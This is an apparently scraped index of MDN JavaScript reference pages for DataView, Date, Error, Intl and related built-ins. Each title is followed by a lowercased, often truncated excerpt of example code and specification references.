examples using the getint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification.
DataView.prototype.getInt32() - JavaScript
examples using the getint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification.
DataView.prototype.getInt8() - JavaScript
examples using the getint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification.
DataView.prototype.getUint16() - JavaScript
examples using the getuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification.
DataView.prototype.getUint32() - JavaScript
examples using the getuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification.
DataView.prototype.getUint8() - JavaScript
examples using the getuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification.
DataView.prototype.setBigInt64() - JavaScript
examples using the setbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbigint64(0, 3n); dataview.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbigint64()' in that specification.
DataView.prototype.setBigUint64() - JavaScript
examples using the setbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbiguint64(0, 3n); dataview.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbiguint64()' in that specification.
DataView.prototype.setFloat32() - JavaScript
examples using the setfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat32(1, 3); dataview.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat32' in that specification.
DataView.prototype.setFloat64() - JavaScript
examples using the setfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat64(0, 3); dataview.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat64' in that specification.
DataView.prototype.setInt16() - JavaScript
examples using the setint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint16(1, 3); dataview.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint16' in that specification.
DataView.prototype.setInt32() - JavaScript
examples using the setint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint32(1, 3); dataview.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint32' in that specification.
DataView.prototype.setInt8() - JavaScript
examples using the setint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint8(1, 3); dataview.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint8' in that specification.
DataView.prototype.setUint16() - JavaScript
examples using the setuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint16(1, 3); dataview.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint16' in that specification.
DataView.prototype.setUint32() - JavaScript
examples using the setuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint32(1, 3); dataview.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint32' in that specification.
DataView.prototype.setUint8() - JavaScript
examples using the setuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint8(1, 3); dataview.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint8' in that specification.
DataView - JavaScript
examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview' in that specification.
Date.prototype[@@toPrimitive] - JavaScript
(british summer time)" testdate[symbol.toprimitive]('string'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('number'); // returns "1590757517834" testdate[symbol.toprimitive]('default'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" specifications specification ecmascript (ecma-262)the definition of 'date.prototype.@@toprimitive' in that specification.
Date() constructor - JavaScript
let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) specifications specification ecmascript (ecma-262)the definition of 'date' in that specification.
Date.UTC() - JavaScript
examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascript (ecma-262)the definition of 'date.utc' in that specification.
Date.prototype.getDate() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var day = xmas95.getdate(); console.log(day); // 25 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getdate' in that specification.
Date.prototype.getDay() - JavaScript
using this method, the internationalization is made easier: var options = { weekday: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // monday console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // montag specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getday' in that specification.
Date.prototype.getFullYear() - JavaScript
var today = new date(); var year = today.getfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getfullyear' in that specification.
Date.prototype.getHours() - JavaScript
let xmas95 = new date('december 25, 1995 23:15:30'); let hours = xmas95.gethours(); console.log(hours); // 23 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gethours' in that specification.
Date.prototype.getMilliseconds() - JavaScript
examples using getmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds: var today = new date(); var milliseconds = today.getmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmilliseconds' in that specification.
Date.prototype.getMinutes() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var minutes = xmas95.getminutes(); console.log(minutes); // 15 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getminutes' in that specification.
Date.prototype.getMonth() - JavaScript
using this method, internationalization is made easier: var options = { month: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // december console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // dezember specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmonth' in that specification.
Date.prototype.getSeconds() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var seconds = xmas95.getseconds(); console.log(seconds); // 30 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getseconds' in that specification.
Date.prototype.getTime() - JavaScript
var end, start; start = new date(); for (var i = 0; i < 1000; i++) { math.sqrt(i); } end = new date(); console.log('operation took ' + (end.gettime() - start.gettime()) + ' msec'); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettime' in that specification.
Date.prototype.getTimezoneOffset() - JavaScript
offsetinhours = x.gettimezoneoffset() / 60; // 1 // get timezone offset for international labour day (may 1) in 2016 // be careful, the date() constructor uses 0-indexed months, so may is // represented with 4 (and not 5) let labourday = new date(2016, 4, 1) let labourdayoffset = labourday.gettimezoneoffset() / 60; specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettimezoneoffset' in that specification.
Date.prototype.getUTCDate() - JavaScript
var today = new date(); var day = today.getutcdate(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcdate' in that specification.
Date.prototype.getUTCDay() - JavaScript
var today = new date(); var weekday = today.getutcday(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcday' in that specification.
Date.prototype.getUTCFullYear() - JavaScript
var today = new date(); var year = today.getutcfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcfullyear' in that specification.
Date.prototype.getUTCHours() - JavaScript
var today = new date(); var hours = today.getutchours(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutchours' in that specification.
Date.prototype.getUTCMilliseconds() - JavaScript
var today = new date(); var milliseconds = today.getutcmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmilliseconds' in that specification.
Date.prototype.getUTCMinutes() - JavaScript
var today = new date(); var minutes = today.getutcminutes(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcminutes' in that specification.
Date.prototype.getUTCMonth() - JavaScript
var today = new date(); var month = today.getutcmonth(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmonth' in that specification.
Date.prototype.getUTCSeconds() - JavaScript
var today = new date(); var seconds = today.getutcseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcseconds' in that specification.
Date.prototype.getYear() - JavaScript
var xmas = new date('december 25, 2015 23:15:00'); xmas.setyear(95); var year = xmas.getyear(); // returns 95 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getyear' in that specification.
Date.now() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'date.now' in that specification.
Date.parse() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'date.parse' in that specification.
Date.prototype.setDate() - JavaScript
7-24 (24th of july 1962) thebigday.setdate(32); // 1962-08-01 (1st of august 1962) thebigday.setdate(22); // 1962-08-22 (22th of august 1962) thebigday.setdate(0); // 1962-07-31 (31th of july 1962) thebigday.setdate(98); // 1962-10-06 (6th of october 1962) thebigday.setdate(-50); // 1962-08-11 (11th of august 1962) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setdate' in that specification.
Date.prototype.setFullYear() - JavaScript
examples using setfullyear() var thebigday = new date(); thebigday.setfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setfullyear' in that specification.
Date.prototype.setHours() - JavaScript
examples using sethours() var thebigday = new date(); thebigday.sethours(7); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.sethours' in that specification.
Date.prototype.setMilliseconds() - JavaScript
examples using setmilliseconds() var thebigday = new date(); thebigday.setmilliseconds(100); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmilliseconds' in that specification.
Date.prototype.setMinutes() - JavaScript
examples using setminutes() var thebigday = new date(); thebigday.setminutes(45); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setminutes' in that specification.
Date.prototype.setMonth() - JavaScript
examples using setmonth() var thebigday = new date(); thebigday.setmonth(6); //watch out for end of month transitions var endofmonth = new date(2016, 7, 31); endofmonth.setmonth(1); console.log(endofmonth); //wed mar 02 2016 00:00:00 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmonth' in that specification.
Date.prototype.setSeconds() - JavaScript
examples using setseconds() var thebigday = new date(); thebigday.setseconds(30); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setseconds' in that specification.
Date.prototype.setTime() - JavaScript
examples using settime() var thebigday = new date('july 1, 1999'); var sameasbigday = new date(); sameasbigday.settime(thebigday.gettime()); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.settime' in that specification.
Date.prototype.setUTCDate() - JavaScript
examples using setutcdate() var thebigday = new date(); thebigday.setutcdate(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcdate' in that specification.
Date.prototype.setUTCFullYear() - JavaScript
examples using setutcfullyear() var thebigday = new date(); thebigday.setutcfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcfullyear' in that specification.
Date.prototype.setUTCHours() - JavaScript
examples using setutchours() var thebigday = new date(); thebigday.setutchours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutchours' in that specification.
Date.prototype.setUTCMilliseconds() - JavaScript
examples using setutcmilliseconds() var thebigday = new date(); thebigday.setutcmilliseconds(500); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmilliseconds' in that specification.
Date.prototype.setUTCMinutes() - JavaScript
examples using setutcminutes() var thebigday = new date(); thebigday.setutcminutes(43); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcminutes' in that specification.
Date.prototype.setUTCMonth() - JavaScript
examples using setutcmonth() var thebigday = new date(); thebigday.setutcmonth(11); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmonth' in that specification.
Date.prototype.setUTCSeconds() - JavaScript
examples using setutcseconds() var thebigday = new date(); thebigday.setutcseconds(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcseconds' in that specification.
Date.prototype.setYear() - JavaScript
var thebigday = new date(); thebigday.setyear(96); thebigday.setyear(1996); thebigday.setyear(2000); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setyear' in that specification.
Date.prototype.toDateString() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'date.prototype.todatestring' in that specification.
Date.prototype.toGMTString() - JavaScript
use toutcstring() console.log(str); // mon, 18 dec 1995 17:28:35 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.togmtstring' in that specification.
Date.prototype.toISOString() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toisostring' in that specification.
Date.prototype.toJSON() - JavaScript
examples using tojson() var jsondate = (new date()).tojson(); var backtodate = new date(jsondate); console.log(jsondate); //2015-10-26t07:46:36.611z specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tojson' in that specification.
Date.prototype.toString() - JavaScript
examples using tostring() the following assigns the tostring() value of a date object to myvar: var x = new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tostring' in that specification.
Date.prototype.toTimeString() - JavaScript
examples a basic usage of totimestring() var d = new date(1993, 6, 28, 14, 39, 7); console.log(d.tostring()); // wed jul 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.totimestring()); // 14:39:07 gmt-0600 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.totimestring' in that specification.
Date.prototype.toUTCString() - JavaScript
examples using toutcstring() let today = new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toutcstring' in that specification.
Date.prototype.valueOf() - JavaScript
examples using valueof() var x = new date(56, 6, 17); var myvar = x.valueof(); // assigns -424713600000 to myvar specifications specification ecmascript (ecma-262)the definition of 'date.prototype.valueof' in that specification.
Date - JavaScript
(that's why this code uses math.floor(), and not math.round().) specifications specification ecmascript (ecma-262)the definition of 'date' in that specification.
Error() constructor - JavaScript
const y = new error('i was constructed via the "new" keyword!') specifications specification ecmascript (ecma-262)the definition of 'error constructor' in that specification.
Error.prototype.message - JavaScript
examples throwing a custom error var e = new error('could not parse input'); // e.message is 'could not parse input' throw e; specifications specification ecmascript (ecma-262)the definition of 'error.prototype.message' in that specification.
Error.prototype.toString() - JavaScript
error('fatal error'); console.log(e.tostring()); // 'error: fatal error' e.name = undefined; console.log(e.tostring()); // 'error: fatal error' e.name = ''; console.log(e.tostring()); // 'fatal error' e.message = undefined; console.log(e.tostring()); // '' e.name = 'hello'; console.log(e.tostring()); // 'hello' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.tostring' in that specification.
Error - JavaScript
figurable: true } }); if (object.setprototypeof){ object.setprototypeof(customerror, error); } else { customerror.__proto__ = error; } try { throw new customerror('baz', 'bazmessage'); } catch(e){ console.error(e.name); //customerror console.error(e.foo); //baz console.error(e.message); //bazmessage } specifications specification ecmascript (ecma-262)the definition of 'error' in that specification.
EvalError() constructor - JavaScript
/ true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
EvalError - JavaScript
/ true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'evalerror' in that specification.
FinalizationRegistry() constructor - JavaScript
}); specifications specification weakrefsthe definition of 'finalizationregistry constructor' in that specification.
FinalizationRegistry.prototype.register() - JavaScript
nregistration token: registry.register(target, "some value", target); the following registers the target object referenced by target, passing in another object as the held value, and not passing in any unregistration token (which means target can't be unregistered): registry.register(target, {"useful": "info about target"}); specifications specification weakrefsthe definition of 'finalizationregistry.prototype.register' in that specification.
FinalizationRegistry.prototype.unregister() - JavaScript
*/ release() { if (this.#file) { this.#registry.unregister(this.#file); // ^^^^^^^^^^−−−−− unregister token file.close(this.#file); this.#file = null; } } } specifications specification weakrefsthe definition of 'finalizationregistry.prototype.unregister' in that specification.
FinalizationRegistry - JavaScript
}); registering objects for cleanup then you register any objects you want a cleanup callback for by calling the `register` method, passing in the object and a *held value* for it: registry.register(theobject, "some value"); specifications specification weakrefsthe definition of 'finalizationregistry' in that specification.
Function.length - JavaScript
*/ console.log((function(...args) {}).length); // 0, rest parameter is not counted console.log((function(a, b = 1, c) {}).length); // 1, only parameters before the first one with // a default value is counted specifications specification ecmascript (ecma-262)the definition of 'function.length' in that specification.
Function.prototype.toString() - JavaScript
}, "a").set "set a(x){}" function.prototype.tostring "function tostring() { [native code] }" (function f(){}.bind(0)) "function () { [native code] }" function("a", "b") "function anonymous(a\n) {\nb\n}" specifications specification ecmascript (ecma-262)the definition of 'function.prototype.tostring' in that specification.
Function - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'function' in that specification.
Generator.prototype.return() - JavaScript
ion* gen() { yield 1; yield 2; yield 3; } const g = gen(); g.next(); // { value: 1, done: false } g.next(); // { value: 2, done: false } g.next(); // { value: 3, done: false } g.next(); // { value: undefined, done: true } g.return(); // { value: undefined, done: true } g.return(1); // { value: 1, done: true } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.return' in that specification.
Generator.prototype.throw() - JavaScript
function* gen() { while(true) { try { yield 42; } catch(e) { console.log('error caught!'); } } } const g = gen(); g.next(); // { value: 42, done: false } g.throw(new error('something went wrong')); // "error caught!" // { value: 42, done: false } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.throw' in that specification.
InternalError - JavaScript
example cases are mostly when something is too large, e.g.: "too many switch cases", "too many parentheses in regular expression", "array initializer too large", "too much recursion".
Intl.Collator() constructor - JavaScript
specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator constructor' in that specification.
Intl.Collator.prototype.compare() - JavaScript
trings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.Collator.supportedLocalesOf() - JavaScript
var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.collator.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.supportedlocalesof' in that specification.
Intl.DateTimeFormat() constructor - JavaScript
te.now())); // "13:31 am" let o = new intl.datetimeformat("en" , { datestyle: "short" }); console.log(o.format(date.now())); // "07/07/20" let o = new intl.datetimeformat("en" , { timestyle: "medium", datestyle: "short" }); console.log(o.format(date.now())); // "07/07/20, 13:31:55 am" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat' in that specification.
Intl.DateTimeFormat.prototype.format() - JavaScript
specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.format' in that specification.
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
10:00 am' let fmt2 = new intl.datetimeformat("en", { year: 'numeric', month: 'short', day: 'numeric' }); console.log(fmt2.format(date1)); console.log(fmt2.formatrange(date1, date2)); console.log(fmt2.formatrange(date1, date3)); // > 'jan 10, 2007' // > 'jan 10, 2007' // > 'jan 10 – 20, 2007' specifications specification intl.datetimeformat.formatrangethe definition of 'formatrange()' in that specification.
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
our', value: '11', source: "endrange" }, // { type: 'literal', value: ':', source: "endrange" }, // { type: 'minute', value: '00', source: "endrange" }, // { type: 'literal', value: ' ', source: "shared" }, // { type: 'dayperiod', value: 'am', source: "shared" } // ] specifications specification intl.datetimeformat.formatrangethe definition of 'formatrangetoparts()' in that specification.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
tetimeformat("en-u-ca-chinese", opts); let date = date.utc(2012, 11, 17, 3); df.formattoparts(date) // return value [ { type: 'month', value: '11' }, { type: 'literal', value: '/' }, { type: 'day', value: '4' }, { type: 'literal', value: '/' }, { type: 'relatedyear', value: '2012' } ] specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.prototype.formattoparts' in that specification.
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.datetimeformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.supportedlocalesof' in that specification.
Intl.DisplayNames() constructor - JavaScript
console.log((new intl.displaynames()).of('us')); // expected output: 'us' specifications specification intl.displaynamesthe definition of 'the intl.displaynames constructor' in that specification.
Intl.DisplayNames.prototype.of() - JavaScript
regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" let currencynames = new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.displaynamesthe definition of 'of()' in that specification.
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
lvedoptions const displaynames = new intl.displaynames(['de-de'], {type: 'region'}); const usedoptions = displaynames.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "long" console.log(usedoptions.type); // "region" console.log(usedoptions.fallback); // "code" specifications specification intl.displaynamesthe definition of 'resolvedoptions()' in that specification.
Intl.DisplayNames.supportedLocalesOf() - JavaScript
const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.displaynames.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification intl.displaynamesthe definition of 'supportedlocalesof()' in that specification.
Intl.ListFormat() constructor - JavaScript
yle: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification intl.listformatthe definition of 'listformat()' in that specification.
Intl​.ListFormat.prototype​.format() - JavaScript
le: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification intl.listformatthe definition of 'format()' in that specification.
Intl​.List​Format​.prototype​.formatToParts() - JavaScript
e: 'long', type: 'conjunction' }); console.table(mylistformat.formattoparts(fruits)); // [ // { "type": "element", "value": "apple" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "orange" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "pineapple" } // ] specifications specification intl.listformatthe definition of 'formattoparts()' in that specification.
Intl​.List​Format​.prototype​.resolvedOptions() - JavaScript
examples using resolvedoptions const delistformatter = new intl.listformat("de-de", { style: "short" }); const usedoptions = de.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "short" console.log(usedoptions.type); // "conjunction" (the default value) specifications specification intl.listformatthe definition of 'resolvedoptions()' in that specification.
Intl.ListFormat.supportedLocalesOf() - JavaScript
const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.listformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification intl.listformatthe definition of 'supportedlocalesof()' in that specification.
Intl.ListFormat - JavaScript
(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).formattoparts(list)); // [ { "type": "element", "value": "motorcycle" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "bus" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "car" } ]; specifications specification intl.listformatthe definition of 'listformat' in that specification.
Intl.Locale.prototype.calendar - JavaScript
thus, the calendar era type can be added to the inital locale identifier string that is passed into the intl.locale constructor.
Intl.Locale.prototype.caseFirst - JavaScript
thus, the casefirst value can be added to the inital locale identifier string that is passed into the locale constructor.
Intl.Locale.prototype.hourCycle - JavaScript
thus, the hour cycle type can be added to the inital locale identifier string that is passed into the locale constructor.
Intl.Locale.prototype.numeric - JavaScript
thus, the numeric value can be added to the inital locale identifier string that is passed into the locale constructor.
Intl.NumberFormat() constructor - JavaScript
ormat(0.55); // → '+55%' note that when the currency sign is "accounting", parentheses might be used instead of a minus sign: new intl.numberformat('bn', { style: 'currency', currency: 'usd', currencysign: 'accounting', signdisplay: 'always' }).format(-3500); // → '($3,500.00)' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat constructor' in that specification.
Intl.NumberFormat.prototype.format() - JavaScript
var a = [123456.789, 987654.321, 456789.123]; var numberformat = new intl.numberformat('es-es'); var formatted = a.map(n => numberformat.format(n)); console.log(formatted.join('; ')); // → "123.456,789; 987.654,321; 456.789,123" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.format' in that specification.
Intl.NumberFormat.supportedLocalesOf() - JavaScript
var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.numberformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.supportedlocalesof' in that specification.
Intl.PluralRules() constructor - JavaScript
var pr = new intl.pluralrules('en-us', { type: 'ordinal' }); pr.select(0); // → 'other' pr.select(1); // → 'one' pr.select(2); // → 'two' pr.select(3); // → 'few' pr.select(4); // → 'other' pr.select(42); // → 'two' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules() constructor' in that specification.
Intl.PluralRules.select() - JavaScript
sing select() new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.select()' in that specification.
Intl.PluralRules.supportedLocalesOf() - JavaScript
var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.pluralrules.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.supportedlocalesof' in that specification.
Intl.RelativeTimeFormat() constructor - JavaScript
rtf.format(1, "day"); // > "tomorrow" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat()' in that specification.
Intl.RelativeTimeFormat.prototype.format() - JavaScript
rtf.format(1, "day"); // > "tomorrow" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.format()' in that specification.
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
lative time using the day unit rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.formattoparts()' in that specification.
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.relativetimeformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.supportedlocalesof()' in that specification.
Intl.getCanonicalLocales() - JavaScript
examples using getcanonicallocales intl.getcanonicallocales('en-us'); // ["en-us"] intl.getcanonicallocales(['en-us', 'fr']); // ["en-us", "fr"] intl.getcanonicallocales('en_us'); // rangeerror:'en_us' is not a structurally valid language tag specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.getcanonicallocales' in that specification.
Intl - JavaScript
onst date = new date("2012-05-24"); function log(locale) { console.log( `${new intl.datetimeformat(locale).format(date)} ${new intl.numberformat(locale).format(count)}` ); } log("en-us"); // expected output: 5/24/2012 26,254.39 log("de-de"); // expected output: 24.5.2012 26.254,39 specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl' in that specification.
JSON.parse() - JavaScript
}); // 1 // 2 // 4 // 6 // 5 // 3 // "" json.parse() does not allow trailing commas // both will throw a syntaxerror json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); json.parse() does not allow single quotes // will throw a syntaxerror json.parse("{'foo': 1}"); specifications specification ecmascript (ecma-262)the definition of 'json.parse' in that specification.
get Map[@@species] - JavaScript
